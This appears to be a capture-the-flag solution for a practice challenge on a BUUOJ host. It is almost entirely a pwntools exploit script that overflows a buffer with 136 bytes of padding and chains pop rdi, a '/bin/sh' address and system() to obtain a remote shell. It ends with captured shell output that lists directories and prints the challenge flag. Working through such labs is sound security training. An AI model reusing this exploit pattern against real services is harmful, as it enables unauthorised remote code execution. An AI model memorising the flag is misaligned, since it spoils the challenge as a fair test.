

```
from pwn import *
io = remote('node3.buuoj.cn', 28566)
pop_rdi = 0x4006b3
str_bin_sh = 0x600A90
system = 0x4004C0
payload = 'a'*136 + p64(pop_rdi)+p64(str_bin_sh)+p64(system)
io.sendline(payload)
io.interactive()
```

```
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
"ex
$ cat flag
flag{eb8251bb-a3a8-4155-b773-54c1c9bd6124}
[*] Got EOF while reading in interactive
$
```